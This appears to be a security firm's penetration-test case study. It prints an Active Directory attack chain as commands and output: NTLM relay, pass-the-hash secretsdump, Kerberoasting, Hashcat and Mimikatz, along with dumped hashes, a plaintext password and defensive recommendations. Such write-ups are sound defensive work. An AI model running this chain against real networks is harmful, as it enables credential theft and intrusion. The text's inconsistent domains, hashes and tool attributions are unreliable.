

WLB Info Sec

# Network Penetration Test

Case Study 2023

## Introduction

In the fast-paced digital landscape, the client sought to validate the resilience of their defenses against cyber threats. The client requested a *network penetration testing* to uncover potential weaknesses and strengthen their cybersecurity posture.

This client faced the constant challenge of defending its digital assets from malicious actors seeking to breach its defenses. The risk of credential theft and unauthorized access as the primary concern, urging them to proactively assess its cybersecurity posture.

**The Approach:** The client allowed our cyber security specialist to VPN through the client's network to begin testing. WLB InfoSec employed advanced tools and techniques such as Nmap, Impacket, Mimikatz, and Hashcat to simulate real-world cyber attacks and expose potential vulnerabilities.

### The Power of Discovery

```
(root@kali)-[~/usr/share/responder]
└─# nmap -Pn --script=smb2-security-mode.nse -p445 192.168.37.128
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 18:39 EDT
Nmap scan report for 192.168.37.128
Host is up (0.0087s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
MAC Address: 00:0C:29:64:6C:72 (VMware)

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

Reconnaissance: WLB InfoSec initiated their journey with stealthy reconnaissance using Nmap. They scanned the clients' infrastructure, open ports, and active services, akin to discovering the landscape of an uncharted territory

“Message Signing enabled but not required” reveals to our cyber security specialist that there are potential security concerns!

## Unauthorized Access

```
root@kali: ~/# /usr/share/doc/python3-impacket/examples
python3 ntlmrelayx.py -t /home/kali/Downloads/smb_targets.txt -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, attacking target smb://192.168.37.128
[*] HTTPD(80): Authenticating against smb://192.168.37.128 as PWN/ADMINISTRATOR SUCCEEDED
[*] HTTPD(80): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there are no more targets left!
[*] HTTPD(80): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there are no more targets left!
[*] Target system bootKey: 0x5438c15ed7e3deff82b9a6fd7979825a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: 192.168.37.128
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there are no more targets left!
```

Using the NTLMrelay tool was used here to attack and gain access. NTLM relay attacks can be particularly dangerous because they can allow an attacker to move laterally through the network, compromising additional systems and escalating privileges along the way.

## Privilege Escalation

```
ntlmrelayx> [*] SMBD-Thread-12 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled
[*] Authenticating against smb://192.168.37.128 as PWN/ADMINISTRATOR SUCCEEDED
[*] SOCKS: Adding PWN/ADMINISTRATOR@192.168.37.128(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-12 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there
[*] SMBD-Thread-13 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there
[*] SMBD-Thread-14 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there
[*] SMBD-Thread-15 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there
[*] SMBD-Thread-16 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there
[*] SMBD-Thread-18 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there
[*] SMBD-Thread-19 (process_request_thread): Connection from PWN/ADMINISTRATOR@192.168.37.135 controlled, but there

ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-----
SMB 192.168.37.128 PWN/ADMINISTRATOR TRUE 445
```

With this finding we now have another alternative pathway where a user administrative privileges gains

To additional resources on the network, WLB InfoSec showcased the potential danger of taking basic security measures such as enabling signing and allow known programs that are being abused to continually run.

## Analyzing Password Security with Hashcat

```
(root@kali) - [usr/share/responder]
# hashcat -m 1000 /home/kali/Downloads/hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting

-----
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
-----
* Device #1: pthread-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 1420/2921 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename ..: /usr/share/wordlists/rockyou.txt
* Passwords ..: 14344393
* Bytes ..: 139921519
* Keyspace ..: 14344386
* Runtime ...: 1 sec

937fc17729c83a8b5f229f31395d76f0|
```

Our Cybersecurity Specialist Unearths Plain Text Passwords Using This Powerful Tool

Password Cracking: The enigmatic Hashcat took center stage as WLB InfoSec demonstrated its formidable capabilities in decrypting weakly hashed passwords. Utilizing powerful GPUs and CPUs, Hashcat rapidly cracked several weak passwords, emphasizing

Secret dumps revealed more  
passwords were found.....

## the critical importance of robust password security.

```
root@kali:~/usr/share/doc/python3-impacket/examples# ./secretsdump.py PWIN/ADMINISTRATOR@192.168.37.128 -hashes aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x5438c15ed7e30eff8209a6fd7979825a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PWIN.PWINDC$:aes256-cts-hmac-sha1-96:d2f8080ac292cd028f51e97c61550c5b8ea3b545083f79edf5ee50209d01
PWIN.PWINDC$:aes128-cts-hmac-sha1-96:7d4c0a211fe949f96cc512694fa342a
PWIN.PWINDC$:des-cbc-md5:1b995c2c0e3e3a319
PWIN.PWINDC$:plain_password_hex:1cd4c51c73d0ff6eb55ac7520897a0f5a1712c3978b49894d0c8f8f5e9e9e4b59664714c763e3443721f9225f7b25bfe3d0ae72e3d9fe0a668e9f05fe36af097d039ff179b38e11ce80fe8c1
99853ac75df1d76751e83e940b14c6ca799ae113a602ecc0d1caf8cf21cbcf54017c1d0b6f9ffbd29c44fb2b97fa38ace6b166c3825985b051f89bf52727d1126a3b4db79e3425909a0234550ef1e5f7259e8d4e5119f9564
b03947d654f1986f73fcaaa1ab9a80d06808b0bc31d6f2d073b49a615879ba9e3fa0638897c56d1c0330de1bf2f305e9387b01808f3511220f35104da4c338acedae
PWIN.PWINDC$:aad3b435b51404eeaad3b435b51404ee:fa0a70f6c0b37d181c40618d72960ac1:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x2e26041fad3bad250f956443d17bf13a9715b7c
dpapi_userkey:0x197dc938a2e10d400116732c69b9e322fd08c47c
[*] NL$KM
0000 F9 1E E2 18 BA 9D 37 98 24 46 D0 00 63 A0 6A 1A .....7.$F...c.j.
0010 D8 9B 70 00 9F 9B 93 25 65 6D 08 C2 9C 28 90 02 ..p...$em...+.
0020 0E 07 8E 5E DE 78 50 50 70 0C 30 19 18 97 BC 86 n...xPPpL0....
0030 04 AA 33 FA 50 F3 5A 96 5A DE 70 5F B3 8F 51 C3 --3.P.Z.Z.p...Q.
NL$KM:F91e2188a9d379b246d0083a0611adb9b70089f9b32565d08c29c2b9002ce078e5ede78505076c3b19187bcb064aa33fa5f35a965ade705fb38f51c3
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.BIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a1a3a2f5651fa67f425d8053f7480cbb:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
PWIN.local\ves:1107:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8f067095ba2ddc971889:::
PWIN.local\bre:1108:aad3b435b51404eeaad3b435b51404ee:47b01c8af51b6ee1180a34455046e53:::
PWIN.local\j:1109:aad3b435b51404eeaad3b435b51404ee:dde33e041ce3f3d9b38334e8e85bd273:::
PWIN.local\SQLService:1110:aad3b435b51404eeaad3b435b51404ee:5f2a3d0c90235a014a451101c24e8211:::
PWINDC$:1000:aad3b435b51404eeaad3b435b51404ee:fa0a70f6c0b37d181c40618d72960ac1:::
```

## Dumping SAM hashes using recovered credentials

```
root@kali:~/usr/share/doc/python3-impacket/examples# python3 secretsdump.py PWIN/ADMINISTRATOR@192.168.37.128 -hashes aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x5438c15ed7e30eff8209a6fd7979825a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PWIN.PWINDC$:aes256-cts-hmac-sha1-96:d2f8080ac292cd028f51e97c61550c5b8ea3b545083f79edf5ee50209d01
PWIN.PWINDC$:aes128-cts-hmac-sha1-96:7d4c0a211fe949f96cc512694fa342a
PWIN.PWINDC$:des-cbc-md5:1b995c2c0e3e3a319
PWIN.PWINDC$:plain_password_hex:1cd4c51c73d0ff6eb55ac7520897a0f5a1712c3978b49894d0c8f8f5e9e9e4b59664714c763e3443721f9225f7b25bfe3d0ae72e3d9fe0a668e9f05fe36af097d039ff179b38e11ce80fe8c1
99853ac75df1d76751e83e940b14c6ca799ae113a602ecc0d1caf8cf21cbcf54017c1d0b6f9ffbd29c44fb2b97fa38ace6b166c3825985b051f89bf52727d1126a3b4db79e3425909a0234550ef1e5f7259e8d4e5119f9564
b03947d654f1986f73fcaaa1ab9a80d06808b0bc31d6f2d073b49a615879ba9e3fa0638897c56d1c0330de1bf2f305e9387b01808f3511220f35104da4c338acedae
PWIN.PWINDC$:aad3b435b51404eeaad3b435b51404ee:fa0a70f6c0b37d181c40618d72960ac1:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x2e26041fad3bad250f956443d17bf13a9715b7c
dpapi_userkey:0x197dc938a2e10d400116732c69b9e322fd08c47c
[*] NL$KM
0000 F9 1E E2 18 BA 9D 37 98 24 46 D0 00 63 A0 6A 1A .....7.$F...c.j.
0010 D8 9B 70 00 9F 9B 93 25 65 6D 08 C2 9C 28 90 02 ..p...$em...+.
0020 0E 07 8E 5E DE 78 50 50 70 0C 30 19 18 97 BC 86 n...xPPpL0....
0030 04 AA 33 FA 50 F3 5A 96 5A DE 70 5F B3 8F 51 C3 --3.P.Z.Z.p...Q.
NL$KM:F91e2188a9d379b246d0083a0611adb9b70089f9b32565d08c29c2b9002ce078e5ede78505076c3b19187bcb064aa33fa5f35a965ade705fb38f51c3
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.BIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:937fc17729c83a8b5f229f31395d76f0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a1a3a2f5651fa67f425d8053f7480cbb:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
PWIN.local\ves:1107:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8f067095ba2ddc971889:::
PWIN.local\bre:1108:aad3b435b51404eeaad3b435b51404ee:47b01c8af51b6ee1180a34455046e53:::
PWIN.local\j:1109:aad3b435b51404eeaad3b435b51404ee:dde33e041ce3f3d9b38334e8e85bd273:::
PWIN.local\SQLService:1110:aad3b435b51404eeaad3b435b51404ee:5f2a3d0c90235a014a451101c24e8211:::
PWINDC$:1000:aad3b435b51404eeaad3b435b51404ee:fa0a70f6c0b37d181c40618d72960ac1:::
```

## Further Access is Gained

```
(root@kali) ~/opt
└─$ impacket-GetUsersSPNs PMW.local/bre:Cinci1995! -dc-ip 192.168.33.183 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName      Name      MemberOf      PasswordLastSet      LastLogon      Delegation
-----
PWNDC/SQ.Service.PMW.local:68111  SQ.Service  CN=Group Policy Creator Owners,OU=Groups,DC=PMW,DC=local  2022-08-17 16:01:56.618849  2023-01-09 10:13:06.382377

[-] CCache file is not found. Skipping...
$hexStgsI234$SQ.Service.PMW.LOCAL$PMW.local/SQ.Service+$f94c415284d1af99e5f67f0705102a358b0239a1c2a0b6355a41fa2e7ae2cdceee4a53e097f70f6a946cafb2f4364ef0512e0844c8543a6ad6cee1b1984c2a21c0cd6266c9592be52e5045ad05cfa0f624c9a671a7f0d19c1d
220b97199ad6122057d10b432f3cf99a1daad700211c0fa07f15185c9733a0cfa1a15150901d959704a7c4e020edbc733635ef00f019c86f54300f4337c2c1d9cd6884463e5364105c49c1af7c553b067393677c64647816180ce6266f66c6bd3bc1668f79d1007cd0e4f8e6c570491b3e0fc3
ad97a55151f44427c7c047fb283cffe9e9b4702b96fbaa096f149fc14c009f69cb7435fd195c3a2f914c2d7830b5e55f6a527e99099e0f556700945f4c2d7bcebac1d0c4f0209476aadba4502bb19017a5f47964ace89d66746ad3f0b97f147d30a5cb04e42ebf94e57a7c99b091b743e56450
b7aa0ee20a06cc4d3c207702c51f7b974bd09f6c504762b6fa54bf04dc24185f9c5c7f1eb0708f7aa66f357a3fb47a298058f9e4dcfc80756c709f09a330962114b3d7506a504fa6f72b14d23f5e83591e599f70709cc0502bca56103b7669b477ed45330a832f57ac1078c669cd9b0460
13fe102508c8d3b22a5b36ca4f697782c3586d5942291ffa0e0100a716f03ea7ed0bae7ce0d7c503a6f9f099a0dc615024c9e113310d4f66e030094aed494f5ed7306c2b61e1010c3002d766c8b1899370bedc5121fa230124852e0b6f6b59e46e0346ac84c8997a5f4e284179583a23d1ee07ed
a07d2e0941892172a182143001a596d040c78fe74205e9cbf7aa7f80e01e11c07bcc48392a0702ce10a1f9099e63426c4857025267a947d7b42c7aae230b00100e208c0bfff07410f0e0ead07b254cc0a2d0bbaf1010f0aa0f2f0a910e2e2933249f9b04e67065725149925f6e74869e0010b
a0b01daa237264c1ea26697c6308944231202a55e92a40b2a35754f03aba61777e991e1549fa29feb66c2173b1e0a733be3f01e3e71270be00dd3ed364de7505547251021f711103833e0f02cb8519f51aae3500950a41c38432e24737cace106f8ee6a497b5080bbefed7084a871f
d094f9d23a320a37c5d067658580acdaae2e01ff90b11efb239ad00018a5a471502c0e38a451e83923a086cc07d2070b98e735a2f4ed52eff6c8454cd2f02e01af4e4502956b14a0ba42ed345887730c0f7ad955f868504ccccb7424b331c0ef8e0f4bf1d39061e308802cc176731d15051
20d42f9971a817e017b913639709c21887721b1201f84f90208b85656831f6d478e20da09e9ea9580ca28e0c315cde6ce404e79fd5
```

Armed with the power of Impacket, WLB InfoSec artfully exploited potential weaknesses in the network.

Impacket helped find a user and obtained a Kerberos ticket, which was then used as another means to authenticate through the use of impersonation.

## Additional Findings

```
mimikatz # Sekurlsa::logonpasswords
Authentication Id : 0 ; 26569592 (00000000:01956b78)
Session          : Interactive from 1
User Name       : SQLService
Domain         : PWN
Logon Server    : PWNDC
Logon Time      : 10/18/2022 11:40:46 AM
SID            : S-1-5-21-1387751645-1312251256-744123034-1110
msv :
[00000003] Primary
  * Username : SQLService
  * Domain   : PWN
  * NTLM     : 5f2a3ddc96235a614a4511d1c24ea211
  * SHA1     : 1f97e3cb2c0e752db0ce8caaf6b5b5696336e438
  * DPAPI    : 1afab27dff74d63458917fe1b2a87576
tspkg :
wdigest :
  * Username : SQLService
  * Domain   : PWN
  * Password : (null)
kerberos :
  * Username : SQLService
  * Domain   : PWN.LOCAL
  * Password : (null)
ssp :
credman :
Authentication Id : 0 ; 26569564 (00000000:01956b5c)
Session          : Interactive from 1
User Name       : SQLService
Domain         : PWN
Logon Server    : PWNDC
Logon Time      : 10/18/2022 11:40:46 AM
SID            : S-1-5-21-1387751645-1312251256-744123034-1110
msv :
[00000003] Primary
  * Username : SQLService
  * Domain   : PWN
  * NTLM     : 5f2a3ddc96235a614a4511d1c24ea211
  * SHA1     : 1f97e3cb2c0e752db0ce8caaf6b5b5696336e438
  * DPAPI    : 1afab27dff74d63458917fe1b2a87576
tspkg :
wdigest :
  * Username : SQLService
  * Domain   : PWN
  * Password : (null)
kerberos :
  * Username : SQLService
  * Domain   : PWN.LOCAL
  * Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session          : Service from 0
User Name       : PWNDC$
Domain         : PWN
Logon Server    : (null)
Logon Time      : 10/12/2022 7:14:12 AM
SID            : S-1-5-20
msv :
[00000003] Primary
  * Username : PWNDC$
  * Domain   : PWN
  * NTLM     : fa0a70f6c0b37d181c40618d72960ac1
  * SHA1     : 4c6c1984de970c7c78cc1ba81b2532043ff7bf7b
```

Mimikatz is primarily known for its ability to extract credentials from memory.

We were able to leverage the SQLService to escalate privileges on the Domain controller and gain Domain Admin access which is the Crown Jewel achievement for these types of engagements.

## Conclusion

**The Findings & Recommendations:** WLB InfoSec unveiled the vulnerabilities that had eluded Assured Management's vigilant eyes. Their thorough analysis exposed:

- Vulnerabilities in NTLMv2 authentication, making the organization susceptible to unauthorized access.
- Weakly guarded passwords, posing a significant risk of password cracking.

To bolster their defenses, WLB InfoSec provided practical recommendations:

1. **Disable NTLM:** Whenever possible, disable the use of NTLM authentication in favor of more secure protocols like Kerberos. NTLM is vulnerable to various attacks, including relay attacks used by Mimikatz.
2. **Implement SMB Encryption:** Encrypt SMB traffic to protect sensitive data from interception during communication.
3. **Enable Extended Protection for Authentication (EPA):** EPA adds an extra layer of security to prevent NTLM relay attacks by binding the authentication to the TLS channel.
4. **Restrict NTLM Usage:** If you must use NTLM, restrict its usage to only necessary systems or applications. Limit its exposure in the network.
5. **Strong Password Policies:** Implement and enforce strong password policies to reduce the effectiveness of password cracking tools like Mimikatz. Encourage users to use complex and unique passwords.
6. **Multi-Factor Authentication (MFA):** Implement MFA to add an extra layer of security and reduce the risk of account compromise even if passwords are obtained.
7. **Regular Patching and Updates:** Keep all systems and applications up-to-date with the latest security patches and updates to mitigate known vulnerabilities that could be exploited.
8. **Monitor for Suspicious Activity:** Use security monitoring tools to detect and respond to suspicious behavior on the network, such as unusual authentication patterns or attempts to access sensitive resources.
9. **Educate Users and Staff:** Conduct regular security awareness training to educate users about the risks of social engineering, phishing attacks, and the importance of secure authentication practices.